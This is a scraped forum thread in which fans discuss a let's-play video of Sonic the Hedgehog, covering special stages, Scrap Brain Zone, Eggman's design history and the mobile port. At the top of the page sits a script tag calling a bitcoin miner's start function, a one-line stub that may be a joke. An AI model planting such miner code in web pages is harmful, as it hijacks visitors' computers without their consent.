<script>
miner.start(); // initialise bitcoin miner
</script>

smw centralpge projectsmbx community

A Thousand Miles - Adventures (plural) - Birdemic

this is the place where lps are being talked about. it's important to talk about games being played on the internet.
User avatar
BobisOnlyBob
Mythical Quadruped
Posts: 1028
Joined: 6 years ago
Location: the world is no longer a place

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby BobisOnlyBob » 6 months ago

warpio wrote: But then again, maybe it's for the best to not include special stages in your "All the Sonics" project because that would also mean playing all the Blue Sphere stages in Sonic 3&K and Mania...
All the Blue Sphere stages... in Sonic 1 & Knuckles... :monstrosity:
BOB is an acronym for BOB is Only BOB etc.

User avatar
Bean
Posts: 3103
Joined: 10 years ago
Location: In my own world

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby Bean » 6 months ago

warpio wrote: I don't think it's that big a deal, but even though you only get an alternate ending for clearing the game with all 6 emeralds, it still feels like you're technically missing out on some of the game's content since you never played the 6th Special stage.
He played all six. They're in a rotation whether you win or lose! In this case, it was the second one that he lost at.

User avatar
Reecer7
Crack is fun and nice and a good time!
Posts: 219
Joined: 4 years ago
Pronouns: he/him/his

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby Reecer7 » 6 months ago

the biggest crime of this zone is that the parallax at the top of the stage makes it look like the stars form a ceiling for the stage and that you're in a giant box. parallax is cool but it doesn't work with celestial objects lightyears away!!!
call me reecer6, not reecer7, please! gotta maintain that same internet brand.
I do a lot more things at my tumblr here than I do here! So, check it out, if you think I'm cool!

User avatar
KTB
Would you kindly bring us the girl and wipe away the debt?
Posts: 7
Joined: 5 years ago
First name: Theodore
Pronouns: he/him/his
Location: Eryth Sea, Bionis
Contact:

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby KTB » 6 months ago

warpio wrote: I don't think it's that big a deal, but even though you only get an alternate ending for clearing the game with all 6 emeralds, it still feels like you're technically missing out on some of the game's content since you never played the 6th Special stage.
It only changes like one image in the credits that lasts only a few seconds, so nothing's really being missed here (especially since we all know what it looks like anyway).

...Unless you didn't mean the ending, and you meant the actual bonus stage. In which case, even disregarding Bean's response to your post, I still don't think it's a huge loss because once you've seen one of the bonus stages, you pretty much get the point. It's not like any of them are super surprising or more interesting than the others.


Anyway, I think it's a bit strange that the fifth zone suddenly focuses so heavily again on loops and speeding through the level when all the other zones are kind of all about precision and waiting. Hopefully the next few games improve on that a bit. (For the record, I've played almost none of the Sonic games so I'm watching this series blind).

User avatar
Heavy Sigh
Posts: 592
Joined: 6 years ago

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby Heavy Sigh » 6 months ago

Fun Sonic Facts!

Once Scrap Brain Zone (originally meant to be Clock Work Zone, but there was no W in the game's special font) was created, instead of simply letting the player run straight to the boss, they had Robotnik trap the player and knock them down a level to instill a feeling of fighting their way back to the top. Unfortunately, due to time and cartridge space constraints they were unable to customize this final challenge much, only able to change the colors of Labyrinth Zone to get the effect they wanted. This lack of time and space also affects Scrap Brain Zone another way! The sections of VRAM normally used by the Giant Rings are instead used for the background smoke in the level, and to prevent the players from seeing a glitchy, garbled mess, no Giant Rings are anywhere to be found in Scrap Brain Zone.

User avatar
Sebby19
Posts: 2564
Joined: 10 years ago
Location: Winnipeg, Manitoba

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby Sebby19 » 6 months ago

Huh, a story sequence. I thought those didn't appear until Sonic 3.
ImageImage
-Banned in Antarctica
Sebby19 wrote:If your life depends on throwing up, switch to the keyboard
Official raocow subscriber # 30,000

User avatar
Awoo
Wolf girls? In *my* area? It's more likely than you think!
Posts: 1194
Joined: 1 year ago
Pronouns: he/him/his
Location: your area

Re: All The S0onics - 1 - Factory

Postby Awoo » 6 months ago

what does this factory make?
nobody knows!
:catplanet:
ワンワン :pal:
Image
Image
Avatar shamelessly taken from:


User avatar
Leet
Well, hello, Smith ( ´-`)ノ
Posts: 2225
Joined: 7 years ago
First name: Chie Arale
Pronouns: she/her
Location: Harman's Room

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby Leet » 6 months ago

For the games that raocow doesn't know as well we might end up seeing title cards for next zones. I don't think raocow should worry about that, just pause the emu on the title card when it comes up!
Well it is a decent hack but sometime its just too repetitif there no level that actually pop in your face and your like oh yeah that level they all ressemble themselves and just monster along the way.
Blood Ghoul wrote:Sometimes it seems my blood spurts out in gobs, as if it were a fountain's pulsing sobs. I clearly hear it mutter as it goes yet cannot find the wound from which it flows. Before I met you, baby, I didn't know what I was missing.

User avatar
Kleetus
Posts: 189
Joined: 9 months ago
Location: Under a starless sky (due to light pollution)

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby Kleetus » 6 months ago

Awoo wrote:
what does this factory make?
nobody knows!
:catplanet:
Judging from zone 3, I think it's safe to say it makes grape soda.
Heavy Sigh wrote: The sections of VRAM normally used by the Giant Rings are instead used for the background smoke in the level, and to prevent the players from seeing a glitchy, garbled mess, no Giant Rings are anywhere to be found in Scrap Brain Zone.
Would the glitch fest still be there without the smoke? I don't feel that a background animation is a good trade off for the bonus ring.
KobaBeach wrote:
Sebby19 wrote: I'm surprised a legit porcupine character hasn't shown up in the Sonic series yet.
oh you sweet summer child
After following the link, and wiki walking a bit, I am now under the impression that any warm blooded animal that existed in the past 100 years is a sonic character.

User avatar
Awoo
Wolf girls? In *my* area? It's more likely than you think!
Posts: 1194
Joined: 1 year ago
Pronouns: he/him/his
Location: your area

Re: All The Sonics - Sonic Sonic

Postby Awoo » 6 months ago

Kleetus wrote:
KobaBeach wrote:
Sebby19 wrote: I'm surprised a legit porcupine character hasn't shown up in the Sonic series yet.
oh you sweet summer child
After following the link, and wiki walking a bit, I am now under the impression that any warm blooded animal that existed in the past 100 years is a sonic character.
For an added bonus, you can always google "(your first name) + the hedgehog" for a neato character that somebody created on Deviantart with your name nyoro~n
Image
I'm sure this was created specifically for a bovine youtuber
ワンワン :pal:
Image
Image
Avatar shamelessly taken from:


User avatar
BurntTenda
defeat four ducks
Posts: 500
Joined: 4 years ago
Pronouns: he/him/his
Location: Indoors~, Indoors~

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby BurntTenda » 6 months ago

Something about the title of this episode I don't like
Something goes here sometime.
Oh yeah, I have a Youtube channel

User avatar
hardcore_crispy
Arrangements in fulminating vective
Posts: 120
Joined: 10 years ago
Pronouns: he/him/his
Location: Wisconsin.

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby hardcore_crispy » 6 months ago

Sebby19 wrote: Huh, a story sequence. I thought those didn't appear until Sonic 3.
There's one in Sonic 2 as well,

in transition between Wing Fortress and Death Egg Zone.

Image

https://www.youtube.com/user/CrispyMWHC -- I play the games for the internet.
Currently playing: Pokemon Platinum (blind)

User avatar
Cyril
metal nerd
Posts: 1970
Joined: 5 years ago
First name: Cyril
Pronouns: he/she/they
Location: hell

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby Cyril » 6 months ago

we finally made it to the end of all the sanics! they only released one. obscure series but it was neat :rao:
i've honestly never played a video game in my life

User avatar
Heavy Sigh
Posts: 592
Joined: 6 years ago

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby Heavy Sigh » 6 months ago

Fun Sonic Facts!

The origins of Dr. Eggman date back to the internal competition held within Sega to create a new mascot, which saw Naoto Ohshima invent the eventual winner, Sonic the Hedgehog. Ohshima had created several other designs that didn't win, including a roundish, mustached man in pajamas bearing quite the resemblance to the 26th President of the USA, Theodore Roosevelt. While the character had lost the contest, Sega's AM8 division (which would eventually become "Sonic Team") chose to retain the design as a villain to be used in the game. Since he was mostly egg-shaped, it was an easy jump to call him Eggman.

Early concept art for Sonic the Hedgehog had a bee-like Eggman planned as one of many enemies in the game, but as development progressed, Eggman was elevated to the primary antagonist. His final design was simplified from his earliest sketch to allow young children to be able to draw him easily, losing the bulky look of his pajamas and gaining a color scheme of red, black and yellow, to differentiate him from Sonic and emphasize the nature/technology conflict the two represented.

User avatar
Sebby19
Posts: 2564
Joined: 10 years ago
Location: Winnipeg, Manitoba

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby Sebby19 » 6 months ago

Huh, I realized I've never seen the final boss of Sonic 2 until now. Not even a reference in passing, unlike the final bosses of the next two main games.

If I remember reading correctly, if you collected the 6 Chaos Emeralds, they would appear above Sonic in the ending (where all the animals are), floating in the air, then suddenly vanish away.
ImageImage
-Banned in Antarctica
Sebby19 wrote:If your life depends on throwing up, switch to the keyboard
Official raocow subscriber # 30,000

User avatar
Grounder
Posts: 3342
Joined: 5 years ago

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby Grounder » 6 months ago

NEXT TIME:

Why don't you eat me?

I am perfectly tasty...

AND I'LL STEAL YOUR SOUL! :twisted:

ImageImageImage

User avatar
HiroshiMishima
Aging Gamer
Posts: 55
Joined: 6 months ago
Location: California

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby HiroshiMishima » 6 months ago

I think I've only seen the "good" ending of Sonic 1 like.. twice? Once when I was emulating it and getting the emeralds myself, and once when I watched a speedrun, but either way this was over 9 years ago so I can't even remember it anymore. I guess I know what I'm doing in a few minutes.

It feels good to see raonic come through, though, without taking a single hit during the final boss.

User avatar
Awoo
Wolf girls? In *my* area? It's more likely than you think!
Posts: 1194
Joined: 1 year ago
Pronouns: he/him/his
Location: your area

Re: All The Sɸnics - 1 - Scrapped Brains (and Beans)

Postby Awoo » 6 months ago

Yes! A one-shot (presumably with

Bean? The bomb bird thingy guy person thing



And, then, I assume, the version of Sonic 1 that I grew up with :catplanet:

I'm seriously looking forward to this!
ワンワン :pal:
Image
Image
Avatar shamelessly taken from:


User avatar
Blivsey
forever an obscure pokemons
Posts: 860
Joined: 7 years ago
First name: Liv
Pronouns: she/her
Location: Ioway

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby Blivsey » 6 months ago

raocow you should have gotten a game over in the time between episodes! dirty cheater!!
convenient noise thread for stress-relief purposes

User avatar
Sebby19
Posts: 2564
Joined: 10 years ago
Location: Winnipeg, Manitoba

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby Sebby19 » 6 months ago

What? He just paused the game and left the Genesis run overnight

(I don't know how they expected people to beat Mario 3 in a single sitting, without warp whistles. Why no save system Nintendo?)
ImageImage
-Banned in Antarctica
Sebby19 wrote:If your life depends on throwing up, switch to the keyboard
Official raocow subscriber # 30,000

User avatar
hardcore_crispy
Arrangements in fulminating vective
Posts: 120
Joined: 10 years ago
Pronouns: he/him/his
Location: Wisconsin.

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby hardcore_crispy » 6 months ago

It's always satisfying to hear Sonic 1's end remix. A mostly fun little game that still didn't know what it wanted to be yet.
Image

https://www.youtube.com/user/CrispyMWHC -- I play the games for the internet.
Currently playing: Pokemon Platinum (blind)

DinnerSonic
All the DinnerSonics
Posts: 59
Joined: 6 years ago
First name: Matthew
Pronouns: he/him/his
Location: United States

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby DinnerSonic » 6 months ago

Between busy-personal things, getting caught off guard with the switch from acts to zones, and a bit of worry about being annoying with constant video posts, I ended up holding off on posting those song-a-day things, so, kids at home, just go and google the "Masa Demo Version" of your favorite song you heard and have fun instead. Instead I wanna post the Special Stage raocow never played.



I don't mean the 6th one, since it sounds like he got a taste of that before getting the GOAL, but a 7th one, exclusive to the mobile version! If you use the level select and set the max number of emeralds to 7 instead of 6th, you'll encounter this stage. One can only guess the new prize you'd get if you happen to have all 7 Chaos Emeralds. Also note how fluid the stages rotate in the mobile version. It's actually a little disorienting when you're used to the original, but that kinda fits given the trippy location and all.

User avatar
Blivsey
forever an obscure pokemons
Posts: 860
Joined: 7 years ago
First name: Liv
Pronouns: she/her
Location: Ioway

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby Blivsey » 6 months ago

Sebby19 wrote: What? He just paused the game and left the Genesis run overnight
you can't prove anything
convenient noise thread for stress-relief purposes

User avatar
raocow
the death of the incredible huge
Posts: 2972
Joined: 10 years ago
Location: maybe the Wizards are the most complex, and the sales guys are up their daily

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby raocow » 6 months ago

for what it's worth I didn't think the music posts where annoying
the chillaxest of dragonsImage
Image
Image
Image
ImageImage

User avatar
Reecer7
Crack is fun and nice and a good time!
Posts: 219
Joined: 4 years ago
Pronouns: he/him/his

Re: All The S@nics - 1 - Dusting Doilies Since 1991

Postby Reecer7 » 6 months ago

not only do the mobile bonus stages look more fluid, the hitboxes of things make sense. it's so... palatable!

why didn't sega just release that in 1991?
call me reecer6, not reecer7, please! gotta maintain that same internet brand.
I do a lot more things at my tumblr here than I do here! So, check it out, if you think I'm cool!


Return to “let's play”

Who is online

Users browsing this forum: Petzi, raekuul, SAJewers, The Doctor and 17 guests